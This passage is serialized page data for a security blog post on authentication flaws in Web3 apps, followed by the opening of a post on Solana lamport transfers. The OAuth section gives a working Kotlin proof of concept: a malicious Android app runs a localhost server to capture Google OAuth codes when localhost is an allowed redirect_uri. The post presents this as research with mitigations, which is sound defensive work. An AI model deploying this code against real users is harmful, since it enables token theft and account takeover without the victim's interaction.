2},{"type":21,"tag":85,"props":70678,"children":70679},{"style":114},[70680],{"type":26,"value":15222},{"type":21,"tag":85,"props":70682,"children":70683},{"class":87,"line":706},[70684,70689,70693,70697,70701,70706,70710,70714],{"type":21,"tag":85,"props":70685,"children":70686},{"style":120},[70687],{"type":26,"value":70688},"        console",{"type":21,"tag":85,"props":70690,"children":70691},{"style":114},[70692],{"type":26,"value":73},{"type":21,"tag":85,"props":70694,"children":70695},{"style":1021},[70696],{"type":26,"value":15282},{"type":21,"tag":85,"props":70698,"children":70699},{"style":114},[70700],{"type":26,"value":1439},{"type":21,"tag":85,"props":70702,"children":70703},{"style":5026},[70704],{"type":26,"value":70705},"'Error parsing token:'",{"type":21,"tag":85,"props":70707,"children":70708},{"style":114},[70709],{"type":26,"value":256},{"type":21,"tag":85,"props":70711,"children":70712},{"style":120},[70713],{"type":26,"value":15282},{"type":21,"tag":85,"props":70715,"children":70716},{"style":114},[70717],{"type":26,"value":777},{"type":21,"tag":85,"props":70719,"children":70720},{"class":87,"line":1100},[70721,70725,70730],{"type":21,"tag":85,"props":70722,"children":70723},{"style":2885},[70724],{"type":26,"value":16164},{"type":21,"tag":85,"props":70726,"children":70727},{"style":102},[70728],{"type":26,"value":70729}," null",{"type":21,"tag":85,"props":70731,"children":70732},{"style":114},[70733],{"type":26,"value":2535},{"type":21,"tag":85,"props":70735,"children":70736},{"class":87,"line":1339},[70737],{"type":21,"tag":85,"props":70738,"children":70739},{"style":114},[70740],{"type":26,"value":507},{"type":21,"tag":85,"props":70742,"children":70743},{"class":87,"line":1348},[70744],{"type":21,"tag":85,"props":70745,"children":70746},{"style":114},[70747],{"type":26,"value":2671},{"type":21,"tag":10022,"props":70749,"children":70750},{"id":40782},[70751],{"type":26,"value":40785},{"type":21,"tag":22,"props":70753,"children":70754},{},[70755,70757,70764,70766,70772],{"type":26,"value":70756},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":21,"tag":335,"props":70758,"children":70761},{"href":70759,"rel":70760},"https://supabase.com/docs/guides/database/postgres/row-level-security",[339],[70762],{"type":26,"value":70763},"Row-Level Security",{"type":26,"value":70765}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":21,"tag":66,"props":70767,"children":70769},{"className":70768},[],[70770],{"type":26,"value":70771},"app_metadata",{"type":26,"value":70773},". These fields must be strictly validated at every step of their creation and update processes.",{"type":21,"tag":54,"props":70775,"children":70777},{"id":70776},"oauth-in-development-environments",[70778],{"type":26,"value":70779},"OAuth in development environments",{"type":21,"tag":22,"props":70781,"children":70782},{},[70783,70785,70792,70794,70799],{"type":26,"value":70784},"After watching a ",{"type":21,"tag":335,"props":70786,"children":70789},{"href":70787,"rel":70788},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[339],[70790],{"type":26,"value":70791},"talk",{"type":26,"value":70793}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":21,"tag":66,"props":70795,"children":70797},{"className":70796},[],[70798],{"type":26,"value":70225},{"type":26,"value":70800}," parameter during the OAuth flow.",{"type":21,"tag":22,"props":70802,"children":70803},{},[70804,70806,70813],{"type":26,"value":70805},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":21,"tag":335,"props":70807,"children":70810},{"href":70808,"rel":70809},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[339],[70811],{"type":26,"value":70812},"Remote Code Execution",{"type":26,"value":70814}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":21,"tag":22,"props":70816,"children":70817},{},[70818,70820,70826],{"type":26,"value":70819},"In one of our client's implementations, we identified that ",{"type":21,"tag":66,"props":70821,"children":70823},{"className":70822},[],[70824],{"type":26,"value":70825},"localhost:3000",{"type":26,"value":70827}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":21,"tag":22,"props":70829,"children":70830},{},[70831],{"type":26,"value":70832},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":21,"tag":75,"props":70834,"children":70838},{"className":70835,"code":70836,"language":70837,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[70839],{"type":21,"tag":66,"props":70840,"children":70841},{"__ignoreMap":7},[70842],{"type":21,"tag":85,"props":70843,"children":70844},{"class":87,"line":88},[70845],{"type":21,"tag":85,"props":70846,"children":70847},{},[70848],{"type":26,"value":70836},{"type":21,"tag":22,"props":70850,"children":70851},{},[70852],{"type":26,"value":70853},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":21,"tag":75,"props":70855,"children":70859},{"className":70856,"code":70857,"language":70858,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[70860],{"type":21,"tag":66,"props":70861,"children":70862},{"__ignoreMap":7},[70863,70890,70897,70929,70951,70958,70966,70988,71000,71012,71047,71073,71123,71130,71137,71144,71152,71174,71209,71222,71229,71236,71257,71283,71295,71316,71333,71345,71371,71410,71431,71439,71451,71476,71488,71501,71509,71516,71524,71532,71539,71569,71576],{"type":21,"tag":85,"props":70864,"children":70865},{"class":87,"line":88},[70866,70871,70876,70881,70886],{"type":21,"tag":85,"props":70867,"children":70868},{"style":102},[70869],{"type":26,"value":70870},"class",{"type":21,"tag":85,"props":70872,"children":70873},{"style":108},[70874],{"type":26,"value":70875}," MainActivity",{"type":21,"tag":85,"props":70877,"children":70878},{"style":114},[70879],{"type":26,"value":70880}," : ",{"type":21,"tag":85,"props":70882,"children":70883},{"style":108},[70884],{"type":26,"value":70885},"AppCompatActivity",{"type":21,"tag":85,"props":70887,"children":70888},{"style":114},[70889],{"type":26,"value":16156},{"type":21,"tag":85,"props":70891,"children":70892},{"class":87,"line":98},[70893],{"type":21,"tag":85,"props":70894,"children":70895},{"emptyLinePlaceholder":16},[70896],{"type":26,"value":703},{"type":21,"tag":85,"props":70898,"children":70899},{"class":87,"line":151},[70900,70905,70909,70914,70919,70924],{"type":21,"tag":85,"props":70901,"children":70902},{"style":102},[70903],{"type":26,"value":70904},"    override",{"type":21,"tag":85,"props":70906,"children":70907},{"style":102},[70908],{"type":26,"value":532},{"type":21,"tag":85,"props":70910,"children":70911},{"style":1021},[70912],{"type":26,"value":70913}," onCreate",{"type":21,"tag":85,"props":70915,"children":70916},{"style":114},[70917],{"type":26,"value":70918},"(savedInstanceState: ",{"type":21,"tag":85,"props":70920,"children":70921},{"style":108},[70922],{"type":26,"value":70923},"Bundle",{"type":21,"tag":85,"props":70925,"children":70926},{"style":114},[70927],{"type":26,"value":70928},"?) {\n",{"type":21,"tag":85,"props":70930,"children":70931},{"class":87,"line":160},[70932,70937,70941,70946],{"type":21,"tag":85,"props":70933,"children":70934},{"style":102},[70935],{"type":26,"value":70936},"        super",{"type":21,"tag":85,"props":70938,"children":70939},{"style":114},[70940],{"type":26,"value":73},{"type":21,"tag":85,"props":70942,"children":70943},{"style":1021},[70944],{"type":26,"value":70945},"onCreate",{"type":21,"tag":85,"props":70947,"children":70948},{"style":114},[70949],{"type":26,"value":70950},"(savedInstanceState)\n",{"type":21,"tag":85,"props":70952,"children":70953},{"class":87,"line":185},[70954],{"type":21,"tag":85,"props":70955,"children":70956},{"emptyLinePlaceholder":16},[70957],{"type":26,"value":703},{"type":21,"tag":85,"props":70959,"children":70960},{"class":87,"line":501},[70961],{"type":21,"tag":85,"props":70962,"children":70963},{"style":92},[70964],{"type":26,"value":70965},"        // Start the Ktor web server\n",{"type":21,"tag":85,"props":70967,"children":70968},{"class":87,"line":697},[70969,70974,70979,70984],{"type":21,"tag":85,"props":70970,"children":70971},{"style":1021},[70972],{"type":26,"value":70973},"        CoroutineScope",{"type":21,"tag":85,"props":70975,"children":70976},{"style":114},[70977],{"type":26,"value":70978},"(Dispatchers.IO).",{"type":21,"tag":85,"props":70980,"children":70981},{"style":1021},[70982],{"type":26,"value":70983},"launch",{"type":21,"tag":85,"props":70985,"children":70986},{"style":114},[70987],{"type":26,"value":148},{"type":21,"tag":85,"props":70989,"children":70990},{"class":87,"line":706},[70991,70996],{"type":21,"tag":85,"props":70992,"children":70993},{"style":2885},[70994],{"type":26,"value":70995},"            try",{"type":21,"tag":85,"props":70997,"children":70998},{"style":114},[70999],{"type":26,"value":148},{"type":21,"tag":85,"props":71001,"children":71002},{"class":87,"line":1100},[71003,71008],{"type":21,"tag":85,"props":71004,"children":71005},{"style":1021},[71006],{"type":26,"value":71007},"                startWebServer",{"type":21,"tag":85,"props":71009,"children":71010},{"style":114},[71011],{"type":26,"value":2086},{"type":21,"tag":85,"props":71013,"children":71014},{"class":87,"line":1339},[71015,71020,71025,71029,71034,71038,71043],{"type":21,"tag":85,"props":71016,"children":71017},{"style":114},[71018],{"type":26,"value":71019},"                Log.",{"type":21,"tag":85,"props":71021,"children":71022},{"style":1021},[71023],{"type":26,"value":71024},"d",{"type":21,"tag":85,"props":71026,"children":71027},{"style":114},[71028],{"type":26,"value":1439},{"type":21,"tag":85,"props":71030,"children":71031},{"style":5026},[71032],{"type":26,"value":71033},"\"WebServer\"",{"type":21,"tag":85,"props":71035,"children":71036},{"style":114},[71037],{"type":26,"value":256},{"type":21,"tag":85,"props":71039,"children":71040},{"style":5026},[71041],{"type":26,"value":71042},"\"Server started on http://localhost:3000\"",{"type":21,"tag":85,"props":71044,"children":71045},{"style":114},[71046],{"type":26,"value":2485},{"type":21,"tag":85,"props":71048,"children":71049},{"class":87,"line":1348},[71050,71055,71059,71064,71069],{"type":21,"tag":85,"props":71051,"children":71052},{"style":114},[71053],{"type":26,"value":71054},"            } ",{"type":21,"tag":85,"props":71056,"children":71057},{"style":102},[71058],{"type":26,"value":48866},{"type":21,"tag":85,"props":71060,"children":71061},{"style":114},[71062],{"type":26,"value":71063}," (e: ",{"type":21,"tag":85,"props":71065,"children":71066},{"style":108},[71067],{"type":26,"value":71068},"Exception",{"type":21,"tag":85,"props":71070,"children":71071},{"style":114},[71072],{"type":26,"value":15222},{"type":21,"tag":85,"props":71074,"children":71075},{"class":87,"line":1386},[71076,71080,71084,71088,71092,71096,71101,71105,71110,71114,71118],{"type":21,"tag":85,"props":71077,"children":71078},{"style":114},[71079],{"type":26,"value":71019},{"type":21,"tag":85,"props":71081,"children":71082},{"style":1021},[71083],{"type":26,"value":51910},{"type":21,"tag":85,"props":71085,"children":71086},{"style":114},[71087],{"type":26,"value":1439},{"type":21,"tag":85,"props":71089,"children":71090},{"style":5026},[71091],{"type":26,"value":71033},{"type":21,"tag":85,"props":71093,"children":71094},{"style":114},[71095],{"type":26,"value":256},{"type":21,"tag":85,"props":71097,"children":71098},{"style":5026},[71099],{"type":26,"value":71100},"\"Error starting server: ",{"type":21,"tag":85,"props":71102,"children":71103},{"style":102},[71104],{"type":26,"value":34555},{"type":21,"tag":85,"props":71106,"children":71107},{"style":169},[71108],{"type":26,"value":71109},"e.message",{"type":21,"tag":85,"props":71111,"children":71112},{"style":102},[71113],{"type":26,"value":34587},{"type":21,"tag":85,"props":71115,"children":71116},{"style":5026},[71117],{"type":26,"value":20487},{"type":21,"tag":85,"props":71119,"children":71120},{"style":114},[71121],{"type":26,"value":71122},", e)\n",{"type":21,"tag":85,"props":71124,"children":71125},{"class":87,"line":1394},[71126],{"type":21,"tag":85,"props":71127,"children":71128},{"style":114},[71129],{"type":26,"value":59342},{"type":21,"tag":85,"props":71131,"children":71132},{"class":87,"line":1402},[71133],{"type":21,"tag":85,"props":71134,"children":71135},{"style":114},[71136],{"type":26,"value":4118},{"type":21,"tag":85,"props":71138,"children":71139},{"class":87,"line":3145},[71140],{"type":21,"tag":85,"props":71141,"children":71142},{"emptyLinePlaceholder":16},[71143],{"type":26,"value":703},{"type":21,"tag":85,"props":71145,"children":71146},{"class":87,"line":3246},[71147],{"type":21,"tag":85,"props":71148,"children":71149},{"style":92},[71150],{"type":26,"value":71151},"        // Open the Google OAuth page\n",{"type":21,"tag":85,"props":71153,"children":71154},{"class":87,"line":3255},[71155,71160,71165,71169],{"type":21,"tag":85,"props":71156,"children":71157},{"style":102},[71158],{"type":26,"value":71159},"        val",{"type":21,"tag":85,"props":71161,"children":71162},{"style":114},[71163],{"type":26,"value":71164}," googleOAuthUrl ",{"type":21,"tag":85,"props":71166,"children":71167},{"style":169},[71168],{"type":26,"value":741},{"type":21,"tag":85,"props":71170,"children":71171},{"style":5026},[71172],{"type":26,"value":71173}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":21,"tag":85,"props":71175,"children":71176},{"class":87,"line":3286},[71177,71181,71186,71190,71195,71200,71204],{"type":21,"tag":85,"props":71178,"children":71179},{"style":102},[71180],{"type":26,"value":71159},{"type":21,"tag":85,"props":71182,"children":71183},{"style":114},[71184],{"type":26,"value":71185}," browserIntent ",{"type":21,"tag":85,"props":71187,"children":71188},{"style":169},[71189],{"type":26,"value":741},{"type":21,"tag":85,"props":71191,"children":71192},{"style":1021},[71193],{"type":26,"value":71194}," Intent",{"type":21,"tag":85,"props":71196,"children":71197},{"style":114},[71198],{"type":26,"value":71199},"(Intent.ACTION_VIEW, Uri.",{"type":21,"tag":85,"props":71201,"children":71202},{"style":1021},[71203],{"type":26,"value":39660},{"type":21,"tag":85,"props":71205,"children":71206},{"style":114},[71207],{"type":26,"value":71208},"(googleOAuthUrl))\n",{"type":21,"tag":85,"props":71210,"children":71211},{"class":87,"line":3295},[71212,71217],{"type":21,"tag":85,"props":71213,"children":71214},{"style":1021},[71215],{"type":26,"value":71216},"        startActivity",{"type":21,"tag":85,"props":71218,"children":71219},{"style":114},[71220],{"type":26,"value":71221},"(browserIntent)\n",{"type":21,"tag":85,"props":71223,"children":71224},{"class":87,"line":3308},[71225],{"type":21,"tag":85,"props":71226,"children":71227},{"style":114},[71228],{"type":26,"value":507},{"type":21,"tag":85,"props":71230,"children":71231},{"class":87,"line":3333},[71232],{"type":21,"tag":85,"props":71233,"children":71234},{"emptyLinePlaceholder":16},[71235],{"type":26,"value":703},{"type":21,"tag":85,"props":71237,"children":71238},{"class":87,"line":3369},[71239,71244,71248,71253],{"type":21,"tag":85,"props":71240,"children":71241},{"style":102},[71242],{"type":26,"value":71243},"    private",{"type":21,"tag":85,"props":71245,"children":71246},{"style":102},[71247],{"type":26,"value":532},{"type":21,"tag":85,"props":71249,"children":71250},{"style":1021},[71251],{"type":26,"value":71252}," startWebServer",{"type":21,"tag":85,"props":71254,"children":71255},{"style":114},[71256],{"type":26,"value":16156},{"type":21,"tag":85,"props":71258,"children":71259},{"class":87,"line":3377},[71260,71265,71270,71274,71279],{"type":21,"tag":85,"props":71261,"children":71262},{"style":1021},[71263],{"type":26,"value":71264},"        embeddedServer",{"type":21,"tag":85,"props":71266,"children":71267},{"style":114},[71268],{"type":26,"value":71269},"(CIO, port ",{"type":21,"tag":85,"props":71271,"children":71272},{"style":169},[71273],{"type":26,"value":741},{"type":21,"tag":85,"props":71275,"children":71276},{"style":2285},[71277],{"type":26,"value":71278}," 3000",{"type":21,"tag":85,"props":71280,"children":71281},{"style":114},[71282],{"type":26,"value":15222},{"type":21,"tag":85,"props":71284,"children":71285},{"class":87,"line":3386},[71286,71291],{"type":21,"tag":85,"props":71287,"children":71288},{"style":1021},[71289],{"type":26,"value":71290},"            routing",{"type":21,"tag":85,"props":71292,"children":71293},{"style":114},[71294],{"type":26,"value":148},{"type":21,"tag":85,"props":71296,"children":71297},{"class":87,"line":3394},[71298,71303,71307,71312],{"type":21,"tag":85,"props":71299,"children":71300},{"style":102},[71301],{"type":26,"value":71302},"                get",{"type":21,"tag":85,"props":71304,"children":71305},{"style":114},[71306],{"type":26,"value":1439},{"type":21,"tag":85,"props":71308,"children":71309},{"style":5026},[71310],{"type":26,"value":71311},"\"{...}\"",{"type":21,"tag":85,"props":71313,"children":71314},{"style":114},[71315],{"type":26,"value":15222},{"type":21,"tag":85,"props":71317,"children":71318},{"class":87,"line":3410},[71319,71324,71329],{"type":21,"tag":85,"props":71320,"children":71321},{"style":114},[71322],{"type":26,"value":71323},"                    call.",{"type":21,"tag":85,"props":71325,"children":71326},{"style":1021},[71327],{"type":26,"value":71328},"respondHtml",{"type":21,"tag":85,"props":71330,"children":71331},{"style":114},[71332],{"type":26,"value":148},{"type":21,"tag":85,"props":71334,"children":71335},{"class":87,"line":3427},[71336,71341],{"type":21,"tag":85,"props":71337,"children":71338},{"style":1021},[71339],{"type":26,"value":71340},"                        head",{"type":21,"tag":85,"props":71342,"children":71343},{"style":114},[71344],{"type":26,"value":148},{"type":21,"tag":85,"props":71346,"children":71347},{"class":87,"line":3445},[71348,71353,71358,71362,71367],{"type":21,"tag":85,"props":71349,"children":71350},{"style":1021},[71351],{"type":26,"value":71352},"                            meta",{"type":21,"tag":85,"props":71354,"children":71355},{"style":114},[71356],{"type":26,"value":71357},"(charset ",{"type":21,"tag":85,"props":71359,"children":71360},{"style":169},[71361],{"type":26,"value":741},{"type":21,"tag":85,"props":71363,"children":71364},{"style":5026},[71365],{"type":26,"value":71366}," \"UTF-8\"",{"type":21,"tag":85,"props":71368,"children":71369},{"style":114},[71370],{"type":26,"value":2485},{"type":21,"tag":85,"props":71372,"children":71373},{"class":87,"line":3490},[71374,71378,71383,71387,71392,71397,71401,71406],{"type":21,"tag":85,"props":71375,"children":71376},{"style":1021},[71377],{"type":26,"value":71352},{"type":21,"tag":85,"props":71379,"children":71380},{"style":114},[71381],{"type":26,"value":71382},"(name ",{"type":21,"tag":85,"props":71384,"children":71385},{"style":169},[71386],{"type":26,"value":741},{"type":21,"tag":85,"props":71388,"children":71389},{"style":5026},[71390],{"type":26,"value":71391}," \"viewport\"",{"type":21,"tag":85,"props":71393,"children":71394},{"style":114},[71395],{"type":26,"value":71396},", content ",{"type":21,"tag":85,"props":71398,"children":71399},{"style":169},[71400],{"type":26,"value":741},{"type":21,"tag":85,"props":71402,"children":71403},{"style":5026},[71404],{"type":26,"value":71405}," \"width=device-width, initial-scale=1.0\"",{"type":21,"tag":85,"props":71407,"children":71408},{"style":114},[71409],{"type":26,"value":2485},{"type":21,"tag":85,"props":71411,"children":71412},{"class":87,"line":3596},[71413,71418,71422,71427],{"type":21,"tag":85,"props":71414,"children":71415},{"style":1021},[71416],{"type":26,"value":71417},"                            title",{"type":21,"tag":85,"props":71419,"children":71420},{"style":114},[71421],{"type":26,"value":1439},{"type":21,"tag":85,"props":71423,"children":71424},{"style":5026},[71425],{"type":26,"value":71426},"\"OAuth Redirect\"",{"type":21,"tag":85,"props":71428,"children":71429},{"style":114},[71430],{"type":26,"value":2485},{"type":21,"tag":85,"props":71432,"children":71433},{"class":87,"line":23938},[71434],{"type":21,"tag":85,"props":71435,"children":71436},{"style":114},[71437],{"type":26,"value":71438},"                        }\n",{"type":21,"tag":85,"props":71440,"children":71441},{"class":87,"line":23973},[71442,71447],{"type":21,"tag":85,"props":71443,"children":71444},{"style":1021},[71445],{"type":26,"value":71446},"                        body",{"type":21,"tag":85,"props":71448,"children":71449},{"style":114},[71450],{"type":26,"value":148},{"type":21,"tag":85,"props":71452,"children":71453},{"class":87,"line":23981},[71454,71459,71463,71467,71472],{"type":21,"tag":85,"props":71455,"children":71456},{"style":1021},[71457],{"type":26,"value":71458},"                            h1",{"type":21,"tag":85,"props":71460,"children":71461},{"style":114},[71462],{"type":26,"value":9999},{"type":21,"tag":85,"props":71464,"children":71465},{"style":169},[71466],{"type":26,"value":5151},{"type":21,"tag":85,"props":71468,"children":71469},{"style":5026},[71470],{"type":26,"value":71471},"\"Google OAuth Redirect\"",{"type":21,"tag":85,"props":71473,"children":71474},{"style":114},[71475],{"type":26,"value":10009},{"type":21,"tag":85,"props":71477,"children":71478},{"class":87,"line":23989},[71479,71484],{"type":21,"tag":85,"props":71480,"children":71481},{"style":1021},[71482],{"type":26,"value":71483},"                            script",{"type":21,"tag":85,"props":71485,"children":71486},{"style":114},[71487],{"type":26,"value":148},{"type":21,"tag":85,"props":71489,"children":71490},{"class":87,"line":23998},[71491,71496],{"type":21,"tag":85,"props":71492,"children":71493},{"style":169},[71494],{"type":26,"value":71495},"                                +",{"type":21,"tag":85,"props":71497,"children":71498},{"style":5026},[71499],{"type":26,"value":71500},"\"document.body.innerText = location.search;\"\n",{"type":21,"tag":85,"props":71502,"children":71503},{"class":87,"line":24040},[71504],{"type":21,"tag":85,"props":71505,"children":71506},{"style":114},[71507],{"type":26,"value":71508},"                            }\n",{"type":21,"tag":85,"props":71510,"children":71511},{"class":87,"line":24073},[71512],{"type":21,"tag":85,"props":71513,"children":71514},{"style":114},[71515],{"type":26,"value":71438},{"type":21,"tag":85,"props":71517,"children":71518},{"class":87,"line":24081},[71519],{"type":21,"tag":85,"props":71520,"children":71521},{"style":114},[71522],{"type":26,"value":71523},"                    }\n",{"type":21,"tag":85,"props":71525,"children":71526},{"class":87,"line":24089},[71527],{"type":21,"tag":85,"props":71528,"children":71529},{"style":114},[71530],{"type":26,"value":71531},"                }\n",{"type":21,"tag":85,"props":71533,"children":71534},{"class":87,"line":24098},[71535],{"type":21,"tag":85,"props":71536,"children":71537},{"style":114},[71538],{"type":26,"value":59342},{"type":21,"tag":85,"props":71540,"children":71541},{"class":87,"line":24174},[71542,71547,71552,71557,71561,71565],{"type":21,"tag":85,"props":71543,"children":71544},{"style":114},[71545],{"type":26,"value":71546},"        }.",{"type":21,"tag":85,"props":71548,"children":71549},{"style":1021},[71550],{"type":26,"value":71551},"start",{"type":21,"tag":85,"props":71553,"children":71554},{"style":114},[71555],{"type":26,"value":71556},"(wait ",{"type":21,"tag":85,"props":71558,"children":71559},{"style":169},[71560],{"type":26,"value":741},{"type":21,"tag":85,"props":71562,"children":71563},{"style":102},[71564],{"type":26,"value":12886},{"type":21,"tag":85,"props":71566,"children":71567},{"style":114},[71568],{"type":26,"value":2485},{"type":21,"tag":85,"props":71570,"children":71571},{"class":87,"line":24207},[71572],{"type":21,"tag":85,"props":71573,"children":71574},{"style":114},[71575],{"type":26,"value":507},{"type":21,"tag":85,"props":71577,"children":71578},{"class":87,"line":24215},[71579],{"type":21,"tag":85,"props":71580,"children":71581},{"style":114},[71582],{"type":26,"value":2671},{"type":21,"tag":22,"props":71584,"children":71585},{},[71586],{"type":26,"value":71587},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":21,"tag":22,"props":71589,"children":71590},{},[71591],{"type":26,"value":71592},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":21,"tag":10022,"props":71594,"children":71596},{"id":71595},"mitigation-1",[71597],{"type":26,"value":40785},{"type":21,"tag":22,"props":71599,"children":71600},{},[71601,71603,71608],{"type":26,"value":71602},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":21,"tag":66,"props":71604,"children":71606},{"className":71605},[],[71607],{"type":26,"value":70225},{"type":26,"value":71609}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":21,"tag":54,"props":71611,"children":71612},{"id":29375},[71613],{"type":26,"value":19373},{"type":21,"tag":22,"props":71615,"children":71616},{},[71617],{"type":26,"value":71618},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":21,"tag":22,"props":71620,"children":71621},{},[71622],{"type":26,"value":71623},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":21,"tag":3632,"props":71625,"children":71626},{},[71627],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":71629},[71630,71637,71642,71645],{"id":69993,"depth":98,"text":69996,"children":71631},[71632,71633,71634,71635,71636],{"id":70004,"depth":151,"text":70007},{"id":70031,"depth":151,"text":70034},{"id":70092,"depth":151,"text":70095},{"id":70149,"depth":151,"text":70152},{"id":70248,"depth":151,"text":70251},{"id":70294,"depth":98,"text":70297,"children":71638},[71639,71640,71641],{"id":70300,"depth":151,"text":70303},{"id":70327,"depth":151,"text":70330},{"id":40782,"depth":151,"text":40785},{"id":70776,"depth":98,"text":70779,"children":71643},[71644],{"id":71595,"depth":151,"text":40785},{"id":29375,"depth":98,"text":19373},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":71650,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":71651,"description":71652,"author":40901,"image":71653,"date":71655,"isFeatured":16,"tags":71656,"onBlogPage":16,"body":71657,"_type":3642,"_id":76311,"_source":3644,"_file":76312,"_stem":76313,"_extension":3647},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":71654,"height":14041,"width":14041},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[3659],{"type":18,"children":71658,"toc":76300},[71659,71663,71668,71682,71688,71693,71723,71728,71733,72771,72776,72784,72789,72795,72801,72813,72846,72858,72871,72883,73328,73333,73379,73385,73390,73477,73482,73496,73509,74172,74177,74189,74195,74206,74218,74372,74386,74405,74426,74432,74437,74782,74787,74793,74812,74826,75448,75453,75473,75478,75483,75489,75501,75522,75697,75703,75708,76009,76030,76042,76054,76138,76158,76170,76176,76188,76194,76199,76222,76234,76240,76252,76257,76263,76268,76273,76291,76296],{"type":21,"tag":54,"props":71660,"children":71661},{"id":29458},[71662],{"type":26,"value":29461},{"type":21,"tag":22,"props":71664,"children":71665},{},[71666],{"type":26,"value":71667},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":21,"tag":22,"props":71669,"children":71670},{},[71671,71673,71680],{"type":26,"value":71672},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":21,"tag":335,"props":71674,"children":71677},{"href":71675,"rel":71676},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[339],[71678],{"type":26,"value":71679},"King of the Ether",{"type":26,"value":71681},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":21,"tag":54,"props":71683,"children":71685},{"id":71684},"the-game-king-of-the-sol",[71686],{"type":26,"value":71687},"The Game: King of the SOL",{"type":21,"tag":22,"props":71689,"children":71690},{},[71691],{"type":26,"value":71692},"The game works like 